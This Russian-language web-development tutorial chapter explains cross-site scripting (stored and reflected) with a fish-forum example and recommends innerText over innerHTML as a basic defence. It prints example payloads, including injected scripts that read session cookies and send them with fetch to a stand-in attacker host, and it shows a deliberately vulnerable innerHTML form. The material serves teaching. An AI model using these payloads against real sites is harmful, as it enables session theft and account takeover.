🚀 Вам бесплатно доступен тренажёр по HTML и CSS.

Аббревиатура XSS расшифровывается как Cross-Site Scripting (межсайтовый скриптинг). Если особо не погружаться в детали, смысл атаки заключается во внедрении вредоносного кода в страницу. Атака не затрагивает серверную часть, но напрямую влияет на клиентскую — на пользователей уязвимого сервиса.

А какой код можно внедрить в страницу? У страницы же нет доступа к базе данных или другому серверному компоненту, где можно получить данные пользователей. Речь идёт о зловредном JavaScript-коде.

Вам хорошо известно: для выполнения JavaScript-кода на странице (в контексте фронтенда) необходимо разместить его между тегами <script></script>. Про этот способ мы рассказывали в первой главе учебника. Атака XSS в этом и заключается. Злоумышленник внедряет в страницу зловредный JavaScript-код. Пользователь переходит на эту страницу, код выполняется и конфиденциальные данные пользователя отправляются злоумышленнику.

Схема работы XSS

На практике это может выглядеть так. Представьте персональный блог, в котором все зарегистрированные пользователи могут оставлять комментарии к публикациям.

Всё работает прекрасно, пока не появляется пользователь, который хочет не просто обсуждать публикации, а украсть доступ к учётным записям других пользователей блога. Для этого злоумышленник в поле комментарий пишет какой-то текст, тег <script>, а в нём немного JavaScript-кода. Если не происходит никакой фильтрации, то после публикации такого комментария, код будет выполняться у всех пользователей, посетивших страницу.

А что опасного может быть в этом коде? Часто разработчики используют cookie для хранения идентификатора сессии пользователя. Что такое идентификатор? Это строка с уникальным набором символов, позволяющих отличить одного авторизованного пользователя от другого.

Зловредный код может прочитать это значение и передать на сервер злоумышленника при помощи AJAX-запроса. В этом и заключается смысл XSS-атаки. Собрав такие идентификаторы, злоумышленник может подставить их себе. Если разработчик не предусмотрел дополнительной защиты, то злоумышленник сможет войти в приложение под учётной записью пользователя.

Рассмотренный сценарий выше — один из самых популярных, но не единственный. При отсутствии фильтрации, можно выполнить любой JavaScript-код. Например, собрать все данные со страницы (при помощи банальных querySelector) или сделать другие деструктивные действия.

XSS на примере

Попробуем взглянуть на проблему с практической точки зрения. Создадим демонстрационное приложение и на реальном примере узнаем, что подразумевается под XSS. В качестве демонстрационного приложения сделаем простую форму для ввода имени. Пользователь вводит имя, отправляет форму, и в параграфе появляется текст с приветствием пользователя. Приложение максимально простое, но оно прекрасно проиллюстрирует проблему:

<form id="basic-form">
    <input id="user-name" type="text">
    <input type="submit" value="Отправить" placeholder="Пожалуйста, представьтесь">
    <p id="welcome-user"></p>
</form>

<script>
    'use strict';

    const submitFormHandler = (evt) => {
        evt.preventDefault();
        welcomeUserElement.innerHTML = `Привет, ${userNameElement.value}!`;
    }

    const formElement = document.querySelector(`#basic-form`);
    const welcomeUserElement = formElement.querySelector(`#welcome-user`);
    const userNameElement = formElement.querySelector(`#user-name`);

    formElement.addEventListener(`submit`, submitFormHandler);
</script>

Попробуйте открыть страницу в браузере и протестировать приложение. Убедитесь, что всё работает так, как и было запланировано.

В качестве теста мы ввели имя «Igor», и оно отобразилось в параграфе. Приложение работает так, как мы и ожидаем. Теперь давайте вместо имени введём на первый взгляд безобидную строку:

<img src="" onerror="alert('xss')">

Нажмите кнопку «Отправить». На этот раз в параграфе #welcome-user отобразится «Привет, !», но в довесок к этому вы увидите модальное окно с текстом «xss». Мы внедрили в страницу сторонний JavaScript-код. В примере он показывает бесполезное модальное окно, но вы понимаете, что он может делать намного больше. Выше мы обсуждали несколько негативных сценариев.

Рассмотрим ещё один пример и разберёмся, как выглядит внедрение XSS изнутри. Представим, что вы разрабатываете какой-нибудь форум любителей аквариумных рыбок. Пусть схематично его разметка выглядит так:

<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
	<header class="topic-header">
		<h2>Разведение пираний в домашних условиях</h2>
	</header>
	<p class="topic-body">
		Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
    <footer class="posted-by">
        От <span class="poster-name">Другой Пользователь</span>
    </footer>
</article>

Простая разметка — ничего необычного. Один из пользователей, который создал эту тему для обсуждения выбрал при регистрации необычное имя. Вот такое:

Другой пользователь</span><script>const username=document.querySelector('.username').textContent;const sessionCookie=document.cookie.match(/session-token=([^;$]+)/)[1];fetch('http:/www.malicious-site.com',{method: 'post',body:JSON.stringify({username,sessionCookie})});</script>

Что произойдёт, если другой участник обсуждения просмотрит эту тему? Разметка страницы начнёт выглядеть следующим образом (отформатировано для читабельности):

<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
	<header class="topic-header">
		<h2>Разведение пираний в домашних условиях</h2>
	</header>
	<p class="topic-body">
		Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
    <footer class="posted-by">
        От <span class="poster-name">Другой Пользователь</span>
        <script>
            const username = document.querySelector(`.username`).textContent;
            const sessionCookie = document.cookie.match(/session-token=([^;$]+)/)[1];
            fetch(`http:/www.malicious-site.com`, {
                method: `post`,
                body: JSON.stringify({username, sessionCookie})
            });
        </script>
    </footer>
</article>

Визуально на странице ничего не изменится. Всё то же безумное объявление, но это лишь на первый взгляд. Экзотичное имя пользователя (то самое с кодом) содержало закрывающий тег </span>. Выходит, что на этом описание элемента с именем пользователя заканчивается. За ним следует тег <script> c JavaScript кодом, который браузер вынужден исполнить.

Выполнение этого кода приведёт к отправке идентификатора сессии на сервер злоумышленника (www.malicious-site.com). Получив идентификатор, злоумышленник сможет подставить его себе и войти в сервис от имени пользователя. Дальше можно изменить профиль (если сервис позволяет это сделать без ввода пароля) и сделать другие деструктивные действия.

Виды XSS

Существует два основных вида XSS-атак. Первый — хранимые XSS (Stored XSS). Его мы разобрали в предыдущем примере. Один пользователь вводит зловредные данные, которые сохраняются на сервере и оттуда попадают на страницу другого пользователя.

Другой вид — отражённые XSS (Reflected XSS). Атаки этого типа выглядят иначе. Допустим, на форуме любителей рыбок есть поиск по сообщениям. Маршрут на страницу с выдачей результатов может выглядеть так:

http://www.aquarium-forum.com/search?q=guppy

При переходе пользователь увидит страницу примерно с такой разметкой:

<div class="query">
	Результаты поиска по запросу <span class="query-text">guppy</span>:
</div>
<div class="result">
	<!-- результаты поиска -->
</div>

Ничего необычного в этой разметке нет, но представьте, что один из пользователей форума любителей рыбок получит на свой email провокационное письмо: «Шокирующая правда о гуппи! Рыбки не переносят… (продолжение по ссылке)». Пользователь на эмоциях переходит по ней (он видит, что она ведёт на его любимый форум) и видит вполне ожидаемую страницу с результатами поиска. Только без шокирующих новостей, но идентификатор его сессии уже улетел злоумышленнику. Ссылка в письме выглядела так:

http://www.aquarium-forum.com/search?q=guppy<script>fetch('http:/www.malicious-site.com?cookie='+document.cookie)</script>

После перехода по ссылке, разметка страницы преобразилась и обзавелась одной строкой кода на JavaScript. Визуально это незаметно, но браузер выполнит код, который не предполагал разработчик:

<div class="query">
	Результаты поиска по запросу <span class="query-text">guppy
<script>
	fetch('http:/www.malicious-site.com?cookie=' + document.cookie);
</script>
</span>:
</div>
<div class="result">
	<!-- результаты поиска -->
</div>

Защита от XSS

Основная причина появления XSS заключается в недостаточной фильтрации входных данных. Мы это видели на двух примерах. Давайте подумаем, как бороться с этой проблемой. Начнём с простого: не стоит вставлять пользовательские данные в свойство innerHTML.

Если пользователь пришлёт разметку с кодом на JavaScript, то браузер интерпретирует код и станут возможны сценарии, о которых говорили выше. Что же делать? Самый простой вариант: вместо innerHTML применять innerText. Тогда содержимое будет отображаться как простой текст.

Резюме

XSS атаки представляют серьёзную угрозу для веб-приложений. В этом разделе мы рассмотрели теорию и один из самых простых вариантов защиты. Конечно, это решение нельзя назвать серебряной пулей. К вопросам безопасности следует подходить комплексно: как на клиенте, так и на сервере. Запомните главное правило: любые данные, полученные от пользователя, по умолчанию нельзя считать безопасными.

Ещё по теме